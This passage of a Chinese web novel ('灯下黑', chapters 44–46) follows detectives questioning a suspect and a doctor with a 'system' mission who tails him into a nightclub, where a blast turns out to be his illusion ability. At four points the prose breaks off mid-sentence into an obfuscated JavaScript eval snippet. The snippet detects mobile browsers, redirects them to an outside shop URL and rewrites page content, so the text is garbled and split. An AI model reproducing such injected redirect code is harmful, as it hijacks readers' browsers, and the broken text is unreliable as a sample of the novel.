“诶诶诶，小颜，君子一言驷马难追，你这是做什么。”张国栋表情严肃，“咳，赶紧回去工作，下午咱们还要去现场周边走访。” 现在的年轻孩儿是越来越不好骗了，像他们当年，哪用画饼…… “师父，您别心虚，我们都知道你说话像放……大饼。”安如面不改色地改口。 由于刘迪和章平两人相识，并且拥有共同的交友圈，蓝湾总队在深思熟虑之后决定将两起案件并案处理，不管怎么样，听上去总比蓝湾接连发生三起命案要好听一些……吧？ “上次聊完，还觉得吴起这人挺配合，现在看来，呸。”张国栋下意识呸了口茶叶，随后反应过来自己在喝咖啡，“咳咳，现在看来，也不是个老实的。” “第一眼看上去就不老实。”安如吐槽了一句，就要往外走。 “法医那边出报告了的话拿过来啊！嘶，这也太苦了，到底是谁爱喝这玩意啊。” …… 夜幕已至，街道上亮起缭乱的灯光，耳边是悠扬的音乐。 但简初的心情一点也不悠扬。 她在蓝湾总队街对面的咖啡馆枯坐了一整天，都没有见到吴起出现，这才体会到，原来系统所说的“你只需静静等待”是这个意思。 简初早就意识到，自己的工作和系统任务迟早有一天会产生冲突，只不过没想到这个问题出现得这么早，白白浪费自己花精力跟同事调来的假期。 她有些焦虑地咬了咬手指，一方面她没觉得已经到了必须二选一的地步，另一方面在这个节骨眼上辞职，也许会引起蓝湾总队的注意。 更何况，她还需要一个正当的身份来接近温南。 从这个角度看过去，对面的办公楼依旧灯火通明，简初稍稍活动了一下肩膀，突然感觉到有人在打量自己，尽管并没有感受到恶意，但她还是向视线来处看去。 一个脑袋缩在吧台后面，探出一点点朝这边看，见简初也转过去看向他，对方突然很大幅度地往后躲起，不过很快反应过来，自己不需要像做贼一样，便又探出头露出一个微笑。 是前几天刚搬来的邻居，说起来除了刚搬家的时候见过一面，后头都没有在走廊碰到过。 “你好，你还记得我吗，我是刚搬到对门的邻居。” 周霖之前只看见侧脸，一直没敢认人，这会确定是对门的邻居，便过来打了个招呼。 “上次没来得及问你的名字？” “啊，我是简初，你在这上班？”简初礼貌寒暄，她之前点单的时候都没有见到周霖，看起来是刚刚换班的。 “算是吧，我晚上没课在这打工。” 简初打量了他几眼，这人看起来并不像缺钱的样子，不过她对别人的事情也并不好奇，总归跟自己没什么关系。 “还挺辛苦的。” “没有没有。”周霖挠挠头，这会正是咖啡店比较忙的时候，下班的白领们会顺路在这里打包一份晚餐回去，所以听见吧台同事喊他，周霖迅速回到了忙碌的工作中。 从对方租住和打工的地方来看，他应该是在附近的蓝湾大学念书。 简初重新将目光投到面前的电脑上，里面是学科前沿的一些文献，她正试图从中找到一些可能和精神力紊乱综合征沾边的内容。 也许这个病一直存在，但是因为没有精神力这个概念的支持，而被判定为其他的疾病。 更何况这么长的时间，她总不能一直盯着对面蓝湾总队的大门发呆，搞不好还会被热心群众举报，直接进去做客。 不过说起进去做客，简初思索了两秒，掏出手机给颜和发了条消息。 [你什么时候回单位？] 出乎意料的，她刚把手机放下，就收到了颜和的信息。 [鸽子王：正在骑马回去的路上，怎么啦？] 简初若有所感地抬起头，就远远看见几辆警车开进了总队的大院里。 [我现在正好在你们总队附近，给你带点蛋糕吃？] 她发完消息没有给颜和拒绝的机会，立刻去前台点了一堆甜品，作为饭后点心。 等简初拎着一大堆东西走进总队大厅，已经能闻到空气中漂浮的饭菜香味，目光所及的范围内，有一个算一个，都在埋头苦吃，听见有人进来，前台接待的工作人员匆忙擦擦嘴，抬起头朝这边走过来。 “你好女士，有什么事情吗？”她打量着简初的面孔，眼睛眯了起来。 没戴眼镜看不清，但是这人有点眼熟。 “小陈警官，我来找颜和的。”简初说着，从纸袋里拿出一个黑森林递给她，“对面咖啡店的，我记得是你喜欢的味道。” 简初时常来找颜和，所以和接待处的工作人员都比较熟，其中小陈又是见得最多的。 “啊，是简医生，不好意思我吃饭就没戴眼镜。”小陈小心接过蛋糕盒，“谢谢你啦，小颜办公室你知道的，他们这会应该都在吃饭，你直接过去敲个门吧。” 她对简初很放心。 “好，不打扰你吃饭了。” 简初脚步放得很慢，她耳听八方，希望能从工作人员的只言片语中得到一点和老吴有关的消息，不过很可惜，大家现在都正忙着吃饭。 但有时候，机会来得猝不及防。 简初在办公室门前停住，原本不该被外头听见的谈话声此刻被放大了数倍，毫无遗漏地钻进她的耳朵里。 “小颜，明天下午安如有事，你跟顾组长说一下，咱们三个一起谈个话，对方很可能是案件的关键人物。”这是张国栋的声音。 “唔，是那个老吴是吧，等顾组回来我告诉她。”颜和嘴里还吃着东西，讲话含 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12380884|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 含糊糊的。 “嗯，别忘了啊。” 他说话的声音和脚步声一起，离门越来越近，简初垂眼，抢先敲响了办公室的门。 “哟，是不是你们组长回来了，我还以为她掉茅厕了……呢？”张国栋对上一张莫名熟悉的脸，他在脑中飞快搜寻，找到了前几天谈话的记忆，顿时皱起眉。 “简女士，你怎么……” “我来找颜和。”简初微笑抢答。 “呃，小颜？你们认识吗？”张国栋原本警惕的表情突然卡住了。 “我来啦！”颜和听见自己的名字，迅速扔下筷子窜了出来，还被工位下的柜子磕了一下。 简初无奈地看着颜和龇牙咧嘴地走过来：“小心点啊，喏，看看我带了什么。” 她礼貌地和张国栋点头示意，便错身进入了办公室内。 “我买了不少，你们都来挑一挑，张警官你要不要来一块。”见张国栋还站在门口没有走，简初再次问道，就见对方连连摆手，离开还顺手关上了办公室的门，很是贴心。 不过这只是表面，其实人还偷偷站在门口没有走。 简初心里忍不住想笑，不过表面还是风平浪静。 没想到这人对她这么警惕。 “谢谢小简医生。”张姐笑眯眯地过来打招呼，小王也被颜和喊过来领了一块蛋糕，他跟简初很是不熟，看起来竟然有几分不好意思。 “看你们这架势，今天估计又要加班，我就不在这打扰了。”简初连坐都没坐，送到东西就准备离开，其他人倒是见怪不怪，毕竟每次他们加班，对方送完东西就会立刻离开。 颜和还是老样子，黏黏糊糊不让人走，一直要送到门口才行，张姐看得老开心了。 “上年纪了，就喜欢看年轻小孩凑在一起。” “张姐，我还是咱们办公室年纪最小的呢，你……”小王伸出脑袋。 “嗯呢，也喜欢看你咯。”张姐埋头吃饭。 颜和亲亲热热地挎着简初的胳膊走出来，就被站在一旁的张国栋吓了一跳。 “张队，你怎么还在这？” “咳咳，我茶杯落在里面了，想着不打扰你们说话，等会再进去拿呢。”张国栋此刻非常感谢自己这次粗心大意。 “这点小事有什么打扰的，诶，组长你回来了！” 简初循声看去，她记得颜和的组长，叫做顾杰羽，是一个年近五十的女性，因为经常锻炼，所以精神气看起来很好。 “小颜，你朋友来啦。”她往这边走过来，能看出来努力和颜悦色，但气势比一般人要强不少，“张队也在，有什么事吗？” “既然等到人了，那张队你就自己跟我们组长说咯。”颜和笑眯眯。 “这样的，明天小安不在，想麻烦你帮忙一起谈个……”张国栋突然噤声，瞥向两人离去的背影。 “嗯？谈个什么？”顾杰羽顺着他的视线看过去，立即明白对方在想什么，“这么远了，听不见的。” “嗐，这不是小心为上，明天下午约了那个老吴，麻烦你跟小颜一起，咱们跟他谈谈。” 张国栋笑笑，想了想还是开口问道：“说起来，小颜和这姑娘认识很久了吗？你还记得之前那份报告吧，她去过一号案件的现场。” 44. 灯下黑（44） “她们好像上学的时候就认识了吧，我看过报告，各方证据都表明她和案件无关，你别太紧张了，就光看作案时间，除非她会飞，要不然不可能那么快到家。”顾杰羽推开办公室门，张国栋跟着一起进去了。 “这不是二号案件又跟那几个人搭上边了，所以免不了多想了。”张国栋有些汗颜，“这次监控更夸张，一大片都是雪花点，实在太离奇了。” “这倒是，不过也不要草木皆兵。” “你说的是。”尽管张国栋现在职位比顾杰羽要高一点，但他以前也算是从对方手下学出来的，所以对她十分尊敬，说得话也能听进去。 他拿起自己忘记的杯子，向外走去：“那明天就麻烦你了。” “嗯，慢走。”顾杰羽摆摆手，盯着面前的盒饭和蛋糕陷入沉思。 …… 第二天一早，简初就去了医院，给昨天帮忙代班的同事带了礼物，道过谢后又开始忙活下午请假的事。 “你最近是家里有什么事吗？”同事刚刚收下谢礼，东西并不便宜，看简初为了调个班忙来忙去，她开口询问，“以前没见你调过班。” 像她们这样的单身人士，除非家里出了事，否则基本没有调班的需要。 “有一点麻烦的私事。”简初摇摇头，面露苦涩，成功止住了同事想要继续询问的话头。 “别太操劳，要注意身体。”虽然不方便继续问，但礼貌的关怀还是要到位。 简初忙了一通，终于把今天下午的休息敲定，不过代价就是接下来半个月都没有休息日了。她刚回诊室就接到内线，说是有一名叫温南的患者来复诊，什么时候方便安排她进来。 简初瞥了眼时间，距离正式上班还有将近十分钟。 “你让她现在过来吧。” 很快，门外响起敲门声，得到允许入内的答复，温南小心拧开把手探出脑袋，露出一个看起来有些傻愣愣的笑容。 “简医生早呀，不打扰你上班吧？” “正常复诊，有什么打扰的，片子都带来了吧。”简初摸向自己的胸口，却摸了个空。 呃，她的笔呢？ 温南看着对方一脸郁郁，拉开了抽屉，露出里面整整齐齐一排崭新的签字笔，从里头掏出一支，又锁上了抽屉。 为了一抽屉笔，上了个锁？ 她看着简初接过单子，一张一张看过去，中途时不时瞧自己一眼，面色越来越严肃，原本平静的心又提了起来。昨天给自己拍片的医生还说没什么大问题来着，难道是什么罕见的绝症？ 某种程度上，确实是未知的绝症。 “你不是挂过神经内科的号，看的是什么结果？” 温南赶紧把飘走的思绪拉回来：“他说要是你这边排除器质性病变，那应该就是最近有点神经紧张，让我注意情绪休息一段时间就好了。” 简初听完又瞧了她一眼，直看得温南心底发毛。 “医生，我这是……有什么问题吗？”温南舔舔嘴唇，开口问道。 “没问题，也有问题。”简初放下手里的片子。 她昨天确实从文献里总结出不少症状很类似精神力紊乱综合征的临床案例，但最多只纪录到中期，缺乏晚期样本。 在星际世界，这个病之所以跟异能联系起来，应该是因为异能放大了它的破坏力，导致从患者的自我毁灭，发展为威胁他人生命的暴力因素。而在这个世界，并没有此类的案例记载。 这背后有两种可能。 一是这个世界确实也有异能者发病，但为了维护社会稳定，被统一封锁了消息。 二是两个世界存在差异，在这个世界，觉醒异能并不是得病的必要因素。 简初突然想到了近期频发的暴力伤人事件，其中会不会有人是因为发病而动手的？ “简医生？你有话直说吧，我能承受得住。”温南把椅子往前拖了拖，面露紧张，她的话拉回了简初的注意力。 “片子没什么问题，但是你这个症状，跟我之前读过一篇文献里的很相似。”简初看起来很是为难，“但是那个病实在是太罕见了，我个人还是倾向于你很健康，不过你要是不介意，可以留个联系方式，我定期给你检查一下，当然，这部分不用你另外花钱。” “这……不太好吧？”温南倒是没觉得对方有什么坏心思，毕竟两人先前根本不认识，更别提之前她还帮自己摆脱了那个跟踪狂。 “我这边没什么问题，你自己决定。当然，如果过几天症状消失就肯定没问题的。”简初抽出一张纸，写下自己的联系方式，“你可以先观察两天，如果一直没有好转可以跟我联系。” 不用立刻做出决定让温南轻松不少，她接过纸条，然后折了两下揣进兜里。 “好的简医生，要是……一直没好，我会再来的。” …… 下午两点，吴起准时来到了蓝湾总队。 今天司机开了另外一辆车，不过同样价值不菲，车缓缓停下，司机小跑着过来，拉开后门撑起伞，一套动作行云流水。今天吴起没有穿得那么严实，脸色看上去也比前几天好了不少。 “吴先生，又见面了。”张国栋走上前跟对方握了握手，“麻烦你抽空配合我们工作，那我们开始？” 一行人进入了谈话室，司机依然在外头等待。 “吴先生，我们也知道你工作繁忙，就不说那些客套话了，咱们直入正题，请问前天晚上八点零三，你是否接过一通来自章平的电话。” 吴起皱着眉思考了一会，点点头：“应该是有这么一通电话，不过打过来那边没人说话，我就挂了。” 他的表情很正常，没有一点心虚。 对面的三人同样面无表情，他们并没有指望吴起能说真话，但这么直白的敷衍还真是没想到。 这种老油条，面不改色胡说八道都是手到擒来。 “警官你们要是不信，可以去查通话录音。”吴起懒洋洋靠在椅背上，这种东西他早就找人处理过了，现在完全是有恃无恐。 要是让他知道是谁在陷害自己，绝对要扒了他的皮。 张国栋沉默了两秒，他能确定对面的人绝对隐瞒了重要的事情，但他手头毫无证据，更无从思考。 “麻烦讲一下跟刘迪、还有章平之间的关系吧。”顾杰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12397429|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羽瞥了张国栋一样，开口道。 吴起啊了一声，慢悠悠开口：“他俩一样啊，刘迪我上次不是说过了，不用再说一遍了吧，你知道我这个情况，管理几个员工很正常嘛。” “这么说起来，他们会不会是被仇家找上门了？毕竟这两个都不是什么聪明人，有时候说话不过脑子，很容易跟人结仇的。” 张国栋抬眼，这人的态度明显比上次油滑了不少。 吴起管理的是一家安保公司，当然这是明面上的说法，本质上是帮其他老板做一些不方便自己出面的事，比如催债之类的，但离奇的是，他们公司确实没有收到过举报或者投诉。 所有的检查工作都很配合，甚至算得上形象良好的企业代表。 “据我们所知，贵公司风评蛮好的，员工怎么会有仇家呢？”张国栋翻了翻手里的材料，“而且这两位虽然是从吴先生这边拿工资，但好像并不是正式员工啊。” “张警官可不要偷换概念，我可没说他们是工作结下的仇哦。”吴起一脸惊讶，“至于为什么给我打电话，可能是我平时对他们太好，一遇到危险，就想找我求助吧。” 顾杰羽深深看了他一眼：“那吴先生可真是个好老板。你对这两人是什么看法呢，他们平时生活情况你了解多少？” …… 为了下午能顺利跟上老吴，简初今天难得自己开了车，忙完一上午的工作，她饭都没来记得吃，就赶来了咖啡店。 没办法，她不知道对方过来的准确时间，而这里的视角最佳，能够完整看到蓝湾总队的大门。 店内没有看到周霖的身影，反倒让她松了口气，这种情况可不适合跟人寒暄。简初草草吃了点饭，一个多小时后，一辆豪车缓缓驶入她的视线。 不是之前的那辆，但风格很相似，等到远远看见司机下车撑起伞，简初便完全确定车里就是老吴。 估摸着这次进去的时间不会短，她一边坐在咖啡店里蹭空调，一边隔一个小时给颜和发条消息。 她知道颜和要参与这次谈话，要是她能回复消息，就代表谈话结束了。 时间慢悠悠过了两个小时，最新一条消息在五分钟前，颜和还没回，但简初有点坐不住了，聊的时间长倒没事，万一吴起直接在里面被拷起来可怎么办。 就在这时，她手机振动了一下，收到了来自颜和的消息。 [鸽子王：出来透口气回你消息，今天晚上估计也不能约饭了，哭哭.JPG] [鸽子王：不过快结束了倒是，总是遇到这种让人头疼的角色，崩溃。] 简初回了个摸头的表情包，没有得到回复，就知道颜和又进去了。她拿起钥匙回到自己车里，在路边找了个临停车位，方便到时候直接跟上。 果然如颜和所说，不过二十分钟，那辆豪车就从蓝湾总队开了出来，现在马上就要到下班高峰期，路上车流量明显比刚才多不少，跟起来更隐蔽，但也很容易被甩开。 简初毫不犹豫使用精神力，“紧盯”住代表吴起的光点，只要不离得太远，这点消耗她还是承受得起。 两辆车一前一后汇入车流，往同一方向驶去。 45. 灯下黑（45） 这个点对方显然不会回公司，简初远远坠在后方，看着吴起的光点进入了蓝湾的一个著名别墅区，然后不再移动。 看来这是他的住所。 别墅区闹中取静，外头就是喧哗的街道，道路两边的停车位只有一小半是空的，所以车停在其中并不起眼。 今天要动手吗？简初心中纠结万分。 系统所说的机会是否仅此一次？如果这次没能直取对方性命，那之后的动手难度绝对会直线提升。 正当简初犹豫之时，余光却看见一辆车缓缓地停在她斜后方，过了许久也没有人下车。 她皱着眉，透过自己的后视镜打量车里的情况。前排两人有意往后靠着，上半张脸陷在阴影里，但下半张脸看着却有些许熟悉。 最近见过的？简初在脑海中苦苦搜寻，就在她确定人选的下一秒，那辆车突然开动，副驾驶的脸被外头的光照亮了一瞬。 是颜和的那个同事，小王。 简初福至心灵，立刻转头，果然看见吴起的车又从别墅区大门驶出。 他们是在派人监视吴起，难道发现了什么情况？ 简初没有犹豫，立刻跟上了蓝湾总队的私家车。 “吴老大，后面那辆车跟着咱们，好像是那群……” “嘘。”吴起闭着眼，阻止了司机继续说下去，“不要管，开你的车，他们既然有胆子来，就得有胆子承受后果。” 不管是谁，都不能改变他今天的计划。距离此次内部集会的时限只剩下三天，虽然邀请函已经发出去了，但所有人的眼睛都在盯着他，如果再不完成召集仪式，他将成为所有成员群起而攻之的目标。 不过那群嫉恨自己的废物并不知道，他不仅提前接受了浸染，还于前几天成功消化了果实，实力不可同日而语。 …… 不到二十分钟，车辆就停在了一家夜店门口，这里往常都要到深夜才会营业，但此刻刚过八点，门口闪耀的霓虹已然亮起，年轻的男女络绎不绝。 看上去今天有什么特殊活动。 不知道为什么，这会突然困得厉害，简初没忍住打个了哈欠，将车停在路口另一端，皱眉搜索起这家夜店的名字。 可惜这并不是吴起的产业，但也许……是属于组织的。 简初可不相信，这人刚从警卫总队出来，回去没几分钟就马不停蹄赶来找乐子，其中必定有问题。 蓝湾总队的车停得比她更近，车上的人犹豫了好一会，似乎在讨论对策，没多久便下来两个人，其中一个是小王，另一个是没见过的生面孔。 他们在门口踌躇了两秒，紧接着踏进了夜店大门，简初赶紧把这两人的光点也记住，精神力无法区分他们之间的差别，再加上夜店里面人员密集，只能靠记忆力强行分辨。 简初又忍不住打了个哈欠，她拍拍自己的脸颊提神，随后也走进了夜店的大门，门口有人在查身份证，不过看她穿着气质都不像未成年，便直接放她过去了。 有点随便啊。 她懒洋洋插着兜，打量着周围的人群。 吴起的光点此刻在二楼小范围移动，而小王两人则在她不远处，看起来正在寻找目标。周围音乐嘈杂、光线昏暗，让他们的搜寻变得十分困难，两个年轻人看起来不常来这种地方，脸上明显挂着不适应。 “你看到人了吗？我有点散光看不清啊。”小王冲同事说道。 “没看到呢，你散光你怎么考进总队的。”另一人小声嫌弃道。 “进来的时候好好的！还不是因为工作太废眼睛了。”小王嘟嘟囔囔。 “这一层没看到人，你看楼梯口，有好几个保安，估计在上面，啧，这下麻烦了。”那人说道，“得想办法上去啊，装醉闹事？还是假装送酒？” “能不能想点正经的办法，你以为拍电影呢。”小王立刻嫌弃回去。 “你行，你来想。” “我！这不是在想呢。”小王泄气，“我说要不就在这儿等算了，你问问外头，这个夜店二楼能不能通到其他地方，不行的话他总归是要下来的。” “你说的也有道理，但是他上楼去做的事也很重要，我们可不只是来监视，而是要查他的底。”另一人皱眉说道，“所以还是得再想想办法啊。” 就在这两人苦恼的时候，简初的目光恰好扫向楼梯口，看到了把守的保安，看起来小王两人正为此愁闷。 不过简初并不急着上去，她跟来这里的首要目标是找机会完成猎杀任务，对吴起来这里做什么兴趣不大。 她坐到吧台点了一杯无酒精的饮品，在酒保把玻璃杯推过来的一瞬间，鼻尖似乎闻到了什么气味。 简初皱着眉，低下头凑近玻璃杯口，里面是酸涩的柑橘气息，很香，不是这个味道。她重新抬起头，试图在空气中找到气味的来源，却看到了头顶的壁钟。 时针指向数字5，秒针则在正常地跳动着。 钟坏了吗，她记得刚刚在外面是八点多来着。 简初的视线只停了几秒，便沿着天花板往上。根据精神力的反馈，吴起此刻就停驻在自己的正上方，他已经有一会没有移动了，看来确实是跟什么人约好碰面，现在应该正坐在某处交谈。 她的脑海里仿佛出现一个真切的画面，吴起正坐在沙发上微微后仰，他双目紧闭，不言不语，似乎在听其他人说什么。 突然，一丝小小的“噼啪”声穿过嘈杂的声浪，清晰的钻进简初的耳朵里，空气在这一刻似乎凝固了。 她猛地转过头，下意识朝声音来源处看去，眨眼间，耀眼的白光带着一道奔雷的巨响，犹如巨型恒星瞬间照亮了周遭的一切。 “砰！” 爆炸声震耳欲聋，巨大的冲击气浪卷起空气中的尘土向四周剧烈震荡，赤红的火焰腾着滚滚黑烟，仿佛暴虐的漩涡，将周围的一切卷入、吞噬。 炽热的红光直接拍在简初脸上，下一秒，剧烈的灼痛从整个侧身传来，她被冲击波直接掀翻在酒柜上，满墙的酒品玻璃杯全部碎裂开来，噼里啪啦砸落在她身上，锋利的玻璃碎片划开裸露在外，被烧得有些焦黑的肌肤。 好烫。 令人窒息的硫磺味争先恐后钻进鼻腔，跟疼痛一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12448828|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起折磨简初的大脑。 一切发生得太突然了，根本来不及反应。 【极寒领域】在身体四处游走，为她减轻疼痛。简初没有立即选择读取存档，这么大的爆炸很快就会有救援来，如果自己被发现在爆炸中毫发无伤，一定会惹来大麻烦。 不，不对，她应该读取存档，今早离开这里，否则自己的任务进度将被无限拖慢。 但是一旦读取存档，接下来的二十四小时之内她就失去了依仗，受到的伤害必须熬到下一次存档刷新，除非她放弃猎杀任务，选择一个新的时间动手。 要不就这样，自己的安全最重要，但是在此之前…… 简初咬咬牙，撑着身体站起身来，被烤焦的皮肉发出细碎的崩裂声，重新皲裂开来，露出鲜红的内里。无心分辨蓝湾总队的两个人在哪，简初将目光投向楼梯口，此时那里已经变得空空荡荡。 不知道二楼有没有受到爆炸的袭击，但这确实是她确认吴起状态的好机会。 简初最终还是选择了在可控的范围内冒个险，如果吴起也受到爆炸影响，那她正好捡漏，如果没有，她立刻读取存档逃离这个地方。 计划简陋而迅速地拟定，简初缓缓迈开步子，血液滴滴答答流了一路，她艰难地喘着气，多亏了【极寒领域】，适当的寒冷让她的大脑能够保持清醒，不断接近吴起所在的光点。 二楼的人要少很多，走廊上倒着一些人，不过他们比一楼的人幸运得多，身上没有烧伤的痕迹，看来是被冲击波震晕了。 简初跨过倒了一地的人，尽量保持悄无声息地接近吴起所在的包间，如果这会有人看到一具仿佛剥皮僵尸的身体，正蹑手蹑脚行走在躺了一地“死人”的走廊里，只怕会立刻大叫一声，晕死过去。 不过简初此刻已然忘记身上的疼痛，她的动作反而变得轻盈而自由，数个尖端锐利的铁棒出现在她身侧，在暧昧昏黄的走廊灯光下反射出隐秘的锐光。 她现在又改主意了，不管三七二十一，进去先补刀。 简初终于握住了门把手，象征吴起的光点仍然一动不动，她深吸一口气，用力闭了闭眼，猛地推开了门！ 包间的门被大力拍在墙壁上，就这一瞬间，铁棒瞬间穿透了靠坐在沙发上的身影，从简初的角度看过去，对方的动作姿态跟她此前的想象几乎一模一样。 整个包间只有吴起一个人，安静得可怕，他身上的伤口并没有流出鲜血，而是飘出淡淡的黑雾。 这是？ 下一秒，周围的环境突然开始崩解，紧接着仿佛倒带一样，只有简初还站在原地，身边的一切都开始回退，直到她重新完好无损地坐进自己的车里。 外面的行人、动物、花草甚至风，都处于停止的状态，她陷在座椅里沉默了好一会，深吸了一口气，伸手打开了前方的化妆镜。 简初紧紧盯着镜中的双眼，喃喃自语。 “这也许是最后一次了。” “你需要暂时忘记一切，回到第一次来到这里的时刻，但需要铭记的是，不管自己变成什么样子，不要读档，杀了吴起。” 46. 灯下黑（46） 吴起疯狂地将桌面上的东西一扫而空，各色玻璃器皿噼里啪啦掉了一地，他双目赤红，呼哧呼哧喘着粗气。 “怎么可能？！”他焦躁地在屋子里走来走去，“那个女人到底是怎么找到我的。” 这是他在接受浸染之后，第二次使用自己的升格异能，在前一次的小范围尝试中，效果非常完美，为什么到了正式场合就出了问题。 他现在的异能叫做【斗兽幻境】，顾名思义，宛如一个残酷的斗兽场，构建者和被拉入幻境中的人作为两方，其中之一必须在幻境中“彻底死亡”才算完。 但作为幻境的构建者，他占据着绝对的优势。 身处幻境的人会将其当作现实，等到他们都在幻境中“死去”，便能决出胜负，失败的一方在现实中也将失去理智，直接精神崩溃，不是疯就是死。 幻境一共有四层，前三层由他捏造的假身作为核心，最后一层则由他本人亲自上场，一旦有人察觉到异常，他将补足幻境的漏洞，并将之重启。 上次他的使用目标连第一层都没熬过，直接冲上大街随机杀人，被当场射杀。 但现在，这个“斗兽场”似乎困住了他。 吴起焦躁地在原地来回踱步，幻境一开便无法中止，也就是说他跟那个女人之间，只能活一个。 这个人必须是他。 现在正处于两层幻境之间的“桥梁”，很快，那些人就会被“删去记忆”，投入到最后一层幻境中。吴起无法控制地喘着粗气，这次异能的使用时间长得超出预期，给他的身体带来了巨大的负荷，时间有限，他得抓紧时间思考对策。 在第一层幻境，有人捕捉到了时钟的漏洞——因为与外界时间流速相差过大，幻境内的钟表没有秒针，代替其跳动的是分针。 幻境依赖于他强加给其他人的“认知”。一旦“认知”发生了改变，幻境就会崩溃，吴起只能选择重启第一层幻境，他原本以为弥补了时钟漏洞就可以高枕无忧，哪曾想到在他“引爆”之后，第一层幻境再次崩溃了。 他根本无法找到原因，只能硬着头皮再次重启了第一层幻境。 这次直到最后都没有出问题，吴起原本悬着的心终于放了下来，但未曾想到，就在这时，他放置在第一层的假身被人“杀死”了，透过假身的眼，吴起看到了记忆碎片中的凶手，一个满身被鲜血浸透的女人。 那一眼让他起了一身鸡皮疙瘩，也就是从那开始，后面的两层幻境全被这女人杀穿了。 但幻境始终没有崩溃，也就是说对方并不知道“这里是幻境”的真相，如果他提前找到那女人，把她“杀死”……就没问题了。 …… 简初拨弄着面前玻璃杯里的金属吸管，凉凉的西瓜汁在杯壁上沁出湿润的水珠。 舞池中央许多年轻的男女在狂欢，现在播放的是一首很流行洗脑的歌曲，连简初都不知道在什么时候听过，还能跟着哼两句。 蓝湾总队的那两人在大厅走了一圈，最终在离她不远的地方落座——这个地方视野比较好，能一眼看清楼梯口的动静。 简初百无聊赖地捋干净杯壁上的水珠，抬头看到上方的钟表，它的时针指向3，显然是已经坏了。她喝了一口西瓜汁，看着小王两人艰难地各自挑了一杯饮料，有些局促地等着。 “两位第一次来？”调酒师手里的雪克杯摇得哗啦啦响，跟他俩搭起话来，“看起来有点紧张啊，以后常来就习惯了。” 他一个甩手，往高脚杯里倒入荧光绿色的液体，看得小王有些凝重地咽了口唾沫。 “颜色看起来有些唬人，确实是无酒精的，尝尝。”年轻的调酒师笑得十分灿烂，“毕竟外表也是很重要的。” 荧光绿的液体被五光十色的灯光一照，确实别有一番趣味。 小王低头喝了一口，甜甜的橙子味，还有点薄荷的凉意，比他想象的要好喝多了。他的视线四处乱飘，突然落在不远处一个女子身上，紧接着他用胳膊肘怼了旁边同事两下，凑过去低声示意：“你看那个人，有没有感觉有点熟悉？” “谁啊，没有啊。”同事迷茫地四处看了看，并没有眼熟的人。 “可能是我看错了……等等，快看，吴……人下来了。”小王疯狂捅同事的腰子，直把他刚接到手里的饮料抖撒了一半。 这可是他自己花钱买的！ 简初的余光紧紧盯着从楼梯上下来的吴起，感到有些许不对劲。尽管对方表面看上去十分严肃，甚至可以称得上气势汹汹，但是他额角却在不断渗出细密的汗珠，眼神飘忽，似乎在场地里搜寻着什么。 某个东西正让他恐惧，甚至放弃自己原本的安排，试图将其找出来。 简初下意识往人群的阴影里缩了缩，躲避了吴起的视线，对方暂时放过这个角落，向另一边走去。 她原以为吴起是发现了蓝湾总队的人在跟踪他，但他的目光从小王两人身上掠过了，明显没有把他们放在心上，难道吴起没有见过这两人？ 这也是有可能的，总队在派人跟进来的时候，肯定会考虑这一点，挑选了两个没有跟吴起碰过面的人来。 该死，她究竟躲在哪里。 吴起在心底狠狠咒骂，趁那女人还没有发现问题，他要抢先做掉她，永绝后患，每晚一秒都多一丝风险。 躲在人群背后的简初眯了眯眼，看着吴起额头上聚起越来越多的汗珠，甚至咕噜噜顺着脸庞流下来，他脚下的步伐也愈加匆忙，视线搜寻的速度也在加快。 他在急什么？ …… “我现在正在蓝湾中心广场，明光路的现场，大家可以看到现场已经拉起了警戒线，禁止所有人员进出，但是，摄像机拉近一点，我们可以看到，在明光路中段出现的巨大的奇异遮罩。”现场一片嘈杂，一位记者正扯着嗓子大喊。 “距现场目击者所说，这个遮罩是两天前凭空出现的，目前蓝湾官方还没有给出详细说明。” 蓝湾中心广场的人流量很大，更何况明光路还是其中的一条主干道，平时修个路都只能半夜赶工，此刻却被完全封锁。 遮罩出现的时候，这里实在有太多人了，已经完全没有压下消息的必要，反而更急需公开的消息，来回应民众的疑问。 被封锁在内部的人员名单还没有完全整理出来，但可以确定他们派来的两名警员被关在了里面。 蓝湾总队几乎是倾巢出动，包括各个支队，二十四小时把守封锁线，连一只苍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 